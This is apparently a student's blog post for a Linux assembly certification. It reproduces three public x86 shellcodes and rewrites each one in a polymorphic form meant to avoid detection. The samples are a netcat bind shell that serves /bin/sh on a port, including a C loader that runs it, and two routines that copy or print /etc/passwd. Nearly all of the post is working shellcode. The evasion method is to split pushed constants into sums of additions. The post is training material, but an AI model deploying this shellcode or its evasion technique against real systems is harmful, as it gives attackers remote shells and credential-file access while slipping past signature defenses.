SLAE- Assignment 6- Polymorphic Shell Code
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
SLAE #1488
Handle: t0b0rx0r
Github: https://github.com/t0b0rX0r/slae/tree/master/assignment6
In this assignment I was tasked with taking 3 shellcode samples from shellstorm.org and create polymorphic versions of them. Through the course ware we learned that polymorphic versions would be described as code that does the same thing but written in a different way that would hopefully avoid detection. I opted for the following 3 samples.
- Run NetCat Listner – http://shell-storm.org/shellcode/files/shellcode-872.php
- Copy etc/passwd to Outfile– http://shell-storm.org/shellcode/files/shellcode-864.php
- Cat the contents of etc/passwd– http://shell-storm.org/shellcode/files/shellcode-571.php
1.Call to Netcat
Here is the original version of the code.
/*
# Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode
# This shellcode will listen on port 17771 and give you /bin/sh
# Date: 31.05.2014
# Shellcode Author: Oleg Boytsev
# Tested on: Debian GNU/Linux 7/i686
# Shellcode Length: 58
# For education purpose only
global _start
section .text
_start:
xor eax, eax
xor edx, edx
push eax
push 0x31373737 ;-vp17771
push 0x3170762d
mov esi, esp
push eax
push 0x68732f2f ;-le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
push eax
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp
push edx
push esi
push edi
push ebx
mov ecx, esp
mov al,11
int 0x80
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
I decided to take the approach of using
- ADDS and a register to sum the values being pushed.
- using similar value registers
- using lower order registers in place of the full one
- using similar code that may throw a warning but still compile and provide the same results ex) push dword <reg32> instead of push <reg32>
global _start
section .text
_start:
xor eax, eax
;xor edx, edx
mov edx,eax ; mov zero to edx
;push eax
push edx ; same value as orginal eax
;push 0x31373737 ;-vp17771
add eax,0x30363636
add eax,0x01010101
push eax
xor eax,eax
;push 0x3170762d
add eax,0x01010101
add eax,0x306f752c
push eax
xor eax,eax
mov esi, esp
push eax ; replace with edx as its still zeropush eax ;
;push 0x68732f2f ;-le//bin//sh
add eax,0x01010101
add eax,0x67722e2e
push eax
xor eax,eax
push 0x6e69622f
;add eax,0x01010101
;add eax,0x6d68612e
;push eax
;xor eax,eax
push 0x2f656c2d
mov edi, esp
push eax
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp
;push edx
push dword edx
push esi
push edi
push ebx
mov ecx, esp
;mov al,11
add al,11 ; same as move 11 as eax
int 0x80
Final run my code is not as polymorphic as it could be as i needed to stay within 150% of the original size.
2. Copy /etc/passwd to outfile
In this sample, the code copies the passwd file to the tmp directory with a a new name. Of note, it appears that this file was a prior submital by another SLAE student to shellstorm.
http://shell-storm.org/shellcode/files/shellcode-864.php
Original Source:
global _start
section .text
_start:
xor eax,eax
mov al,0x5
xor ecx,ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
lea ebx,[esp +1]
int 0x80
mov ebx,eax
mov al,0x3
mov edi,esp
mov ecx,edi
push WORD 0xffff
pop edx
int 0x80
mov esi,eax
push 0x5
pop eax
xor ecx,ecx
push ecx
push 0x656c6966
push 0x74756f2f
push 0x706d742f
mov ebx,esp
mov cl,0102o
push WORD 0644o
pop edx
int 0x80
mov ebx,eax
push 0x4
pop eax
mov ecx,edi
mov edx,esi
int 0x80
xor eax,eax
xor ebx,ebx
mov al,0x1
mov bl,0x5
int 0x80
Just like the prior problem I opted to perform the following
- ADDS and a register to sum the values being pushed.
- using similar value registers
- using lower order registers in place of the full one
- using similar code that may throw a warning but still compile and provide the same results ex) push dword <reg32> instead of push <reg32>
global _start
section .text
_start:
xor eax,eax
;mov al,0x5
;xor ecx,ecx
mov ecx,eax ; same as xoring
push ecx
;push 0x64777373
add eax,0x01010101 ;same as dwss
add eax,0x63767272
push eax
xor eax,eax
;push 0x61702f63
add eax,0x01010101
add eax,0x606f2e62
push eax
xor eax,eax
;push 0x74652f2f
add eax,0x01010101 ; same as ap/c
add eax,0x73642e2e
push eax
lea ebx,[esp +1]
xor eax,eax
mov al,0x5
int 0x80
mov ebx,eax
;mov al,0x3
mov al,0x2
inc al ; same as placing 3 into eax
mov edi,esp
mov ecx,edi
push WORD 0xffff
pop edx
int 0x80
mov esi,eax
xor ecx,ecx
push ecx
;push 0x656c6966
xor eax,eax
add eax,0x01010101
add eax,0x646b6865
push eax
xor eax,eax
;push 0x74756f2f
;xor eax,eax
add eax,0x01010101
add eax,0x73746e2e
push eax
;xor eax,eax
push 0x706d742f
;add eax,0x01010101
;add eax,0x6f6c732e
;push eax
xor eax,eax
push 0x5
pop eax
mov ebx,esp
mov cl,0102o
push WORD 0644o
pop edx
int 0x80
mov ebx,eax
push 0x4
pop eax
mov ecx,edi
mov edx,esi
int 0x80
xor eax,eax
xor ebx,ebx
;mov al,0x1
inc al ; increment to 1
mov bl,0x5
int 0x80
As before, I had to limit my obfuscation to ensure my code was less than 150% of the orginal
3. Cat the contents of /etc/passwd
In this sample, the code cats (writes) the contents of /etc/passwd to the users screen.
http://shell-storm.org/shellcode/files/shellcode-571.php
Original Source:
global _start
section .text
_start:
xor eax,eax
cdq
push edx
push dword 0x7461632f
push dword 0x6e69622f
mov ebx,esp
push edx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ecx,esp
mov al,0xb
push edx
push ecx
push ebx
mov ecx,esp
int 80h
Just as before I performed the following set of operations
- ADDs and a register to sum the values being pushed.
- using similar value registers
- using lower order registers in place of the full one
- using similar code that may throw a warning but still compile and provide the same results ex) push dword <reg32> instead of push <reg32>
global _start
section .text
_start:
xor eax,eax
cdq
push edx
;push dword 0x7461632f
add eax,0x01010101
add eax,0x7360622e
push eax
xor eax,eax
;push dword 0x6e69622f
add eax,0x01010101
add eax,0x6d68612e
push eax
xor eax,eax
mov ebx,esp
push edx
;push dword 0x64777373
add eax,0x01010101
add eax,0x63767272
push eax
xor eax,eax
;push dword 0x61702f2f
add eax,0x01010101
add eax,0x606f2e2e
push eax
xor eax,eax
push dword 0x6374652f
mov ecx,esp
;mov al,0xb
add al,0xb ; same as move 11
push edx
push ecx
push ebx
mov ecx,esp
int 80h
As before, I limited my obfuscation to keep it under 150%